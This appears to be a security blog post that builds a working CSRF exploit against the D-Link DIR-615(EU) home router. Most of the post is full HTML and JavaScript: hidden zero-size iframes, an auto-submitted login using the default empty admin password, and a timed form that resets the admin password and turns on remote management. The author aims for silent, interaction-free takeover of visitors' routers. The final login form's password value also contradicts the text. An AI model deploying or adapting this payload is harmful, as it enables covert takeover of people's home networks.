This week I ran into an interesting problem. I was doing some poking around with my DLink DIR-615(EU) router while working on some firmware reverse engineering. It occurred very quickly to me that the router had no protection against CSRF attacks. As with many other routers, the router also doesn’t enforce you to set a password for the Admin account, which simply sets it up for getting owned.

As it turns out, the vulnerability I found was already well-documented, but I saw no exploit which targeted both the CSRF attack and the default weak credentials in a single exploit. This would be needed for even a semi-reliable exploit to be delivered over the internet. I wondered why, and started investigating what would we required.

The target

The DLink DIR-615(EU) runs on a default IP(192.168.0.1) with default credentials being the Admin account with no password. The authentication system is kind of funky, in that on a successful authentication no cookie is set. Rather, it simply authenticates your local IP. I’ve not dug into this much further, but the short version of this story is that you either have to hope that the user has authenticated against the router somewhat recently, or you need to authenticate as a part of the attack.

The two requests we need to make to log in and do something to abuse this CSRF, such as change the admin password and enable remote management, are as following:

<form name="loginForm" method="POST" action="http://192.168.0.1/login.htm"> <input type="hidden" name="page" value="login" /> <input type="hidden" name="submitType" value="0" /> <input type="hidden" name="sel_userid" value="admin" /> <input type="hidden" name="userid" value="" /> <input type="hidden" name="passwd" value="" /> <input type="hidden" name="captchapwd" value="" /> </form> 1 2 3 4 5 6 7 8 < form name = "loginForm" method = "POST" action = "http://192.168.0.1/login.htm" > < input type = "hidden" name = "page" value = "login" / > < input type = "hidden" name = "submitType" value = "0" / > < input type = "hidden" name = "sel_userid" value = "admin" / > < input type = "hidden" name = "userid" value = "" / > < input type = "hidden" name = "passwd" value = "" / > < input type = "hidden" name = "captchapwd" value = "" / > < / form >

<form name="adminForm" method="POST" action="http://192.168.0.1/tools_admin.htm"> <input type="hidden" name="page" value="tools_admin" /> <input type="hidden" name="admin_password1" value="qweasd" /> <input type="hidden" name="admin_password2" value="qweasd" /> <input type="hidden" name="hostname" value="REMOTEENABLED" /> <input type="hidden" name="graphical_enable" value="1" /> <input type="hidden" name="remote_enable" value="1" /> <input type="hidden" name="remote_http_management_port" value="2121" /> <input type="hidden" name="remote_inbound_filter" value="11" /> </form> 1 2 3 4 5 6 7 8 9 10 < form name = "adminForm" method = "POST" action = "http://192.168.0.1/tools_admin.htm" > < input type = "hidden" name = "page" value = "tools_admin" / > < input type = "hidden" name = "admin_password1" value = "qweasd" / > < input type = "hidden" name = "admin_password2" value = "qweasd" / > < input type = "hidden" name = "hostname" value = "REMOTEENABLED" / > < input type = "hidden" name = "graphical_enable" value = "1" / > < input type = "hidden" name = "remote_enable" value = "1" / > < input type = "hidden" name = "remote_http_management_port" value = "2121" / > < input type = "hidden" name = "remote_inbound_filter" value = "11" / > < / form >

The problem

In order to get a reliable CSRF exploit for this, we’d really like a single page we can send an user to, and it takes care of making these requests to do the exploit. But this turned out to be not quite so easy, and googling turned up very few suggestion for how to make several requests in order and time them correctly to allow authentication before the CSRF attack request. Here were some of the ways I tried:

Failed solution 1: A single page with 2 forms, calling document.formname.submit(); in sequence

This didn’t work. What ended up happening is that the login form wasn’t submitted. Also because we submit the form, we end up with the problem that the browser navigates to action URL. This is because of the default target of the form(_self).

Failed solution 2: A single page with 2 forms that has a target _blank or an iframe

Given the navigation issue I encountered in my first attempt, I started testing out how the target of the form affected things. As it turns out, modern browsers are really not big fans of iframes or new windows. Targeting a frame simply didn’t work. And when you use _blank as a target, the user has to explicitly allow it in modern browsers. In order to exploit this reliably, we can’t rely on user interaction.

Failed solution 3: XMLHttp requests

AJAX is wonderful. So I figured why not try and come up with a solution using XMLHttp and a bit of Javascript. This fell flat very quickly, as XMLHttp respects same origin policy.

The solution

A solution to this would require following:

Control of timing between requests

To still have control of the page the user loaded, even if the form navigates to a target.

No popups

Little, if any, indication to the user that their router is being owned

My solution ended up being a bit less neat. However it works quite well against any default browser without any noscript and such(Which would break most CSRF attacks requiring to post, unless you want to rely on user input). It’s quite a bit along the line of the idea of setting each form target to a different frame. But since I couldn’t get them to target an iframe in a single page, I split the payload into 3 parts.

Landing page with 2 iframes, each containing their own payload A login request A delayed CSRF attack against the vulnerable page as desired

The main landing pages is quite simple, as it just loads each page for execution:

<iframe src="login.html" width="0" height="0"> </iframe> <iframe src="exploit.html" width="0" height="0"> </iframe> 1 2 3 4 < iframe src = "login.html" width = "0" height = "0" > < / iframe > < iframe src = "exploit.html" width = "0" height = "0" > < / iframe >

By setting the width and height, all you’re left with is a tiny dot on the screen. This could be mitigated by doing some styling potentially to render it off screen.

Second step is to log in. Here we rely on the fact that the admin user by default does not have any password set.

<form name="loginForm" method="POST" action="http://192.168.0.1/login.htm"> <input type="hidden" name="page" value="login" /> <input type="hidden" name="submitType" value="0" /> <input type="hidden" name="sel_userid" value="admin" /> <input type="hidden" name="userid" value="" /> <input type="hidden" name="passwd" value="qweasd" /> <input type="hidden" name="captchapwd" value="" /> </form> <script type="text/javascript"> document.loginForm.submit(); </script> 1 2 3 4 5 6 7 8 9 10 11 < form name = "loginForm" method = "POST" action = "http://192.168.0.1/login.htm" > < input type = "hidden" name = "page" value = "login" / > < input type = "hidden" name = "submitType" value = "0" / > < input type = "hidden" name = "sel_userid" value = "admin" / > < input type = "hidden" name = "userid" value = "" / > < input type = "hidden" name = "passwd" value = "qweasd" / > < input type = "hidden" name = "captchapwd" value = "" / > < / form > <script type = "text/javascript" > document . loginForm . submit ( ) ; </script>

Nothing fancy really happens here. We just have to make sure that the user is authenticated for our second stage, which is the CSRF attack which exploits the real weakness in the router:

<form name="adminForm" method="POST" action="http://192.168.0.1/tools_admin.htm"> <input type="hidden" name="page" value="tools_admin" /> <input type="hidden" name="admin_password1" value="qweasd" /> <input type="hidden" name="admin_password2" value="qweasd" /> <input type="hidden" name="hostname" value="REMOTEENABLED" /> <input type="hidden" name="graphical_enable" value="1" /> <input type="hidden" name="remote_enable" value="1" /> <input type="hidden" name="remote_http_management_port" value="2121" /> <input type="hidden" name="remote_inbound_filter" value="11" /> </form> <script type="text/javascript"> window.setTimeout(doFormSubmit, 5000); function doFormSubmit() { document.adminForm.submit(); } </script> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 < form name = "adminForm" method = "POST" action = "http://192.168.0.1/tools_admin.htm" > < input type = "hidden" name = "page" value = "tools_admin" / > < input type = "hidden" name = "admin_password1" value = "qweasd" / > < input type = "hidden" name = "admin_password2" value = "qweasd" / > < input type = "hidden" name = "hostname" value = "REMOTEENABLED" / > < input type = "hidden" name = "graphical_enable" value = "1" / > < input type = "hidden" name = "remote_enable" value = "1" / > < input type = "hidden" name = "remote_http_management_port" value = "2121" / > < input type = "hidden" name = "remote_inbound_filter" value = "11" / > < / form > <script type = "text/javascript" > window . setTimeout ( doFormSubmit , 5000 ) ; function doFormSubmit ( ) { document . adminForm . submit ( ) ; } </script>

The key here is that while the first login iFrame is loaded straight away, we have to wait to make sure that the request happened. This could be anything from 5ms to a second. In this case, we wait 5000ms to be safe. This could likely be lowered a lot.

This was validated against the EU version of the D-Link DIR-615 with 8.0A firmware. And while it probably could be optimized quite a bit and made a lot prettier/subtle, it addresses something which I couldn’t find a solution to easily on Google/WAHHv2. This could potentially be a lot simpler against a target that accepts a GET requests to do the same. But this will work for both by simply changing the method in the form.